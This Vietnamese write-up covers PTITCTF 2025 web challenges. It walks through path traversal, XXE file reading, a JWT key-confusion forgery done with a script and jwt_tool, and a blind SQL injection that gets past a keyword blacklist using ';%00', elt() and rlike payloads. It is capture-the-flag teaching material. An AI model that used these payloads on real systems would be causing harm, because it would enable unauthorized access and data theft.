---
# System prepended metadata

title: PTITCTF 2025

---

## Web1 (Eassy)
Trang web
![image](https://hackmd.io/_uploads/SkvIe2YFge.png)
Đăng ký đăng nhập vào hệ thống 
![image](https://hackmd.io/_uploads/rklFql2ttlx.png)
Bài này có 1 chức năng upload file và sau khi ta upload file ta có thể tải file upload về với tham số truyền vào là filename
![image](https://hackmd.io/_uploads/SkhJWhtFll.png)
![image](https://hackmd.io/_uploads/By6MZ3tFgg.png)
Ta thử /etc/passwd cho tham số filename thì trả về nội dung của file .
![image](https://hackmd.io/_uploads/HymVZ2YYee.png)
Ta thấy được file flag nằm trong file /proc/self/environ
![image](https://hackmd.io/_uploads/BJTAG3Ytxg.png)
Note : Nhưng ở đây trong quá trình fuzzing bằng intruder ta không tìm đọc được nội dung file /proc/self/environ
![image](https://hackmd.io/_uploads/BJWO62Ftle.png)

Ta đọc file flag tìm được cờ 
![image](https://hackmd.io/_uploads/ByZ-XntFgl.png)

 
## Web5 (Eassy)
Ta truy cập vào 1 trang web trả về 404 và không có thêm thông tin tìm được trên trang web 
![image](https://hackmd.io/_uploads/rkyoRsdKll.png)
Bài này có source code ta bắt đầu phân tích source code 
Dựa vào 2 file này ta sẽ có được các route của trang web 
![image](https://hackmd.io/_uploads/HyTtV8KFge.png)
![image](https://hackmd.io/_uploads/Hk0DNUFFee.png)
Trong quá trình tìm hiểu web chạy ta đi qua các route và khi ta truy cập và route /api/scoreboard thì cờ hiện ra 
![image](https://hackmd.io/_uploads/BJRv12OFxx.png)

## Web3 (Medium)
![image](https://hackmd.io/_uploads/By05r2tYex.png)

Ta có trang web  có mã nguồn sau 
```
    <script>
        document.getElementById('quizForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const selectedRadio = document.querySelector('input[name="answer"]:checked');
            if (selectedRadio) {
                const answerKey = selectedRadio.value;
                const questionText = "PTIT CTF 2025 có thật sự hấp dẫn?"; 

                const data = {
                    "question_text": questionText, 
                    "answer": answerKey
                };

                fetch('/submit_answer', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                })
                .then(response => response.text())
                .then(data => {
                    alert('Ohsshitttt: ' + data);
                })
                .catch(error => {
                    console.error('LỖI KẾT NỐI:', error);
                    alert('LỖI KẾT NỐI: Không thể truy cập SERVER!');
                });
            } else {
                alert('CHỌN ĐÁP ÁN ĐỂ TIẾP TỤC TRUY VẤN DỮ LIỆU!');
            }
        });
```
![image](https://hackmd.io/_uploads/HJfpX2FYel.png)

Khi tả gửi dữ liệu tới /submit_answer dưới dạng json và tải lại trang để gửi lần 2 thì sẽ có gợi ý là chỉ chấp nhận application/json và application/xml
![image](https://hackmd.io/_uploads/ByHy43tKxg.png)

Ta nghĩ tới ý tưởng chuyển dạng json về xml và thử lỗ hổng XXE và thành công đọc được file /etc/passwd 
![image](https://hackmd.io/_uploads/SkDQS3FKex.png)

Sau khi nhiều lần đọc các file ta tìm ra file flag được chú trích trong file /app/app.py . 
Giải này giấu flag sâu ác 
![image](https://hackmd.io/_uploads/H1ArrnKtxx.png)
 Đọc file flag
![image](https://hackmd.io/_uploads/ByZdH2FKee.png)



## Web2 (Medium)
![image](https://hackmd.io/_uploads/Sk_S73FKle.png)
Ta có thể đăng ký tài khoản hay dùng luôn user=admin và pass=admin để đăng nhập vào trang web .
Truy cập trang web có gợi ý là `chỉ có admin mới có thể truy cập vào đường dẫn /admin` .
![image](https://hackmd.io/_uploads/SJWDXntKxx.png)
Và trong cookie có token có giá trị 
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A
```
![image](https://hackmd.io/_uploads/rykOtUKtgl.png)
Ta quét các file thư mục ẩn thấy file jwks public bị lộ 
![image](https://hackmd.io/_uploads/Hy9aeA8Flg.png)
**Ý tưởng chính là lỗ hổng jwt và nâng quyền người dùng từ user lên admin**
Ta có ý tưởng về case : JWT RS256 → HS256 key confusion
Đổi thuật toán từ RS256 -> HS256
Sử dụng public key làm secret ký lại

Tạo file public.pem
```
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# cat jwks_to_pem.py   
import json, base64
from Crypto.PublicKey import RSA

jwks = {
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "kid": "PTIT-CTF",
      "kty": "RSA",
      "n": "zf1c1FAyg0btbcnxfuQzTQMqpi7RaZ78KQYLT69DgM9lJ6AfkhqUpuLCwK4NL0emQgbj2CkVGvTQKyejhCqQE9RagMgFFl2o2kpJpEIfab08XB0tqJn-q770xUgUQPA1h9PlD2SnHmorVNwOKcKGSj862CryvS2b7Xf3BkKCt_75AlbUGGTS9RumrZIeQYfyVfTERuRtaus3Et2KWwRA_DCAg19k3YGcs2dKqzUZwL-OqogA5PobjrEzlmVuWpe5bIuzW1mP_lkdaEWwJxF2yAZBF_aQlAVYSLMAW3Z2stU3cwLtCb2M2sJOMmn6cG6cBEr3Yw2lgiiQNGne3WJSOw",
      "use": "sig"
    }
  ]
}

# lấy modulus và exponent
n_b64 = jwks["keys"][0]["n"]
e_b64 = jwks["keys"][0]["e"]

n = int.from_bytes(base64.urlsafe_b64decode(n_b64 + "=="), "big")
e = int.from_bytes(base64.urlsafe_b64decode(e_b64 + "=="), "big")

# tạo RSA key object
key = RSA.construct((n, e))

# export ra PEM
pub_pem = key.export_key()
print(pub_pem.decode())
                                                                                                                                                       
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# python3 jwks_to_pem.py > public.pem
```

Ký lại tạo ra chữ ký số mới 
```
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# python3 jwt_tool.py 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A' -X k -pk public.pem -I -pc role -pv admin

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.3.0                \______|             @ticarpi      

/root/.jwt_tool/jwtconf.ini
Original JWT: 
                                                                                                                                                                         
File loaded: public.pem
jwttool_188c0d1537a1e61741c38ba70440e2f2 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)                                                                                                           
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzU1OTI3OTMzfQ.RFnTyfM6vRtbKxV-kRIR7sTKC1m-ZJ_jtBEA2U2OBuY
                                                                                                                                                                         
┌──(root㉿lyquockhanh)-[~/Web/jwt_tool]
└─# 
```
Thay vào token 
![image](https://hackmd.io/_uploads/SkZsR6IKxx.png)
## Web0 (Hard)

Trang web 
![image](https://hackmd.io/_uploads/BkFagpuKlg.png)
Ta có source code 
```
<?php
error_reporting(0);
include("db.php");
function check($input){
	  $forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
      $forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
      if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
      	die('forbidden');
}
}

$user=$_GET['user'];
$pass=$_GET['pass'];
check($user);check($pass);
$sql = @mysqli_fetch_assoc(mysqli_query($db,"SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';"));
 if($sql['username']){
 	echo 'welcome \o/';
 	die();
 }
 else{
 	echo 'wrong !';
 	die();
 }
?>
```
Ta có phương thức GET / truyền vào 2 tham số user và pass . Hai tham số đi hàm check() để lọc và được truyền thẳng vào câu lệnh sql mà không sử dụng `?` . Nếu đúng trả về `welcome \o/` sai trả về `wrong !` gặp phải ký tự trong blacklist trả về `forbidden`
Đọc source code ta nhận ra đây là một bài `blind boolean sql injection + black list`

Thử ký tự `'` thì trang web sẽ trắng tin -> Lỗi 500 thì trang web k trả về gì 
![image](https://hackmd.io/_uploads/HkaYTLYtlg.png)

Source code đang chặn phần comment `preg_match('/(--|#|\/\*)/', $input))`
Ta bypass bằng cách sử dụng `;%00`
Với payload `/?user=khanh'or'1'='1';%00&pass=khanh` trả về giá trị `True` thì website sẽ trả về `welcome \o/` 
![image](https://hackmd.io/_uploads/BkQon8KFxl.png)

Với payload `/?user=khanh'or'1'='2';%00&pass=khanh` trả về giá trị `False` thì website sẽ trả về `wrong !`

Sau khi thử các payload để nghiên cứu cách bypass blaclist 
```
function check($input){
	  $forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
      $forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
      if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
      	die('forbidden');
}
}
```
ta sử dụng các hàm sau để bypass
Với chặn phần comment `preg_match('/(--|#|\/\*)/', $input))`
-> Ta bypass bằng cách sử dụng `;%00`
Với chặn khoảng trắng `preg_match('/\s/', $input)` và `0x|0b` và chặn các ký thuật bypass khoảng trắng bằng comment `preg_match('/(--|#|\/\*)/', $input)`
-> Ta bypass bằng sử dụng `()`
Ta bypass việc bị chặn `substr` 
-> sử dụng hàm `like` để thay thế `substring`
*Ở đây `like` chưa thật sự tối ưu khi ta trích xuất các ký tự đi sâu vào bài toán ở phía sau sẽ nói chi tiết và có cách thay thế *

### Ý tương 1 : Ban đầu tôi nghĩ flag sẽ nằm trong các trường `username` và `password` của bảng users
Ta sử dụng câu lệnh 
`khanh'or(elt(1,username)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không 
-> Kết quả trả về `wrong` không chứa trong trường username
![image](https://hackmd.io/_uploads/HyDr8nYYxx.png)

Ta sử dụng câu lệnh 
`khanh'or(elt(1,password)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không 
-> Kết quả trả về `wrong` không chứa trong trường password
![image](https://hackmd.io/_uploads/r1aP8hFFel.png)

##### Phần này tôi cố trích xuất chi tiết nội dung của username và password trong bảng users 
Ở đây ban đầu khi tôi test đúng sai cũng biết đến sự tôn tại của `username =admin` hoặc ta sử dụng câu lệnh
```
khanh'or(elt(1,username)like'a%');%00
```
Ta thay giá trị `a` với lần lượt các giá trị từ a-zA-Z0-9 và ký tự đặc biệt . 
Ta thu được các tài khoản `admin` , `guest` , `alice` 
Ta sử dụng với sử dụng payload 
`admin'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `n0t%flag%%` (Ở đây chưa lấy được hết các giá trị do ta vướng các ký tự `x,y,z,b,_` đang bị chặn)  
![image](https://hackmd.io/_uploads/S1zI4wtKeg.png)

Ta sử dụng với sử dụng payload 
`guest'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `guest`
![image](https://hackmd.io/_uploads/r13A8hYKxl.png)


Ta sử dụng với sử dụng payload 
`alice'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `wonderland`
![image](https://hackmd.io/_uploads/S1GnVPFKxg.png)

Ta thu được chi tiết username và password nhưng thật sử không dùng làm gì cho bài này :)

### Ý tương 2 : flag nằm ngoài bảng users nằm trong bảng khác .
Ta đoán bảng , tôi đoán bảng là `flag` và chứng minh nó tồn tại 
```
admin'and(elt(1,(SELECT(id)FROM(flag)))like'ptitctf%');%00
```
![image](https://hackmd.io/_uploads/ryi6whFYxe.png)
Kết quả không nó trả về `wrong` mà không trả về 500(trắng tinh)
-> Tồn tại bảng flag 
Tiếp tục kiểm tra sự tồn tại của trường flag 
```
admin'and(elt(1,(SELECT(flag)FROM(flag)))like'PTITCTF');%00
```
Kết quả trả về `welcome \o/` -> Tồn tải trường flag và flag nằm trong trường đó :)
![image](https://hackmd.io/_uploads/SkqqP2tYxg.png)

Nhưng ở đây trong quá trình ta trích xuất từng giá trị của flag có thể sẽ gặp các ký tự `_,b,x,y,z` và các ký tự này bị chặn nên câu lệnh truy vấn sẽ trả về `forbiden` -> Khó khăn trong trích xuất 
Trong LIKE có sử dụng `_` để đại diện cho một ký tự nhưng trong bài này ký tự `_` đã bị chặn 
**Thay thế `LIKE` bằng `RLIKE`**
`RLIKE` sẽ sử dụng `.` để đại diện cho một ký tự . Ta sử dụng dấu chấm `.` để đại diện cho ký tự bị block để tiếp tục trích xuất các ký từ đằng sau .
```
admin'and(elt(1,(SELECT(flag)FROM(flag)))rlike'^ptitctf');%00
```
![image](https://hackmd.io/_uploads/rJtkSdFFgx.png)
Kết quả ta thu được `ptitctf{n0.w4f.c4n.st0p.m3}`
Dựa vào định dạng hay gặp ta có flag là `PTIT{n0_w4f_c4n_st0p_m3}`
## Web4 (Hard)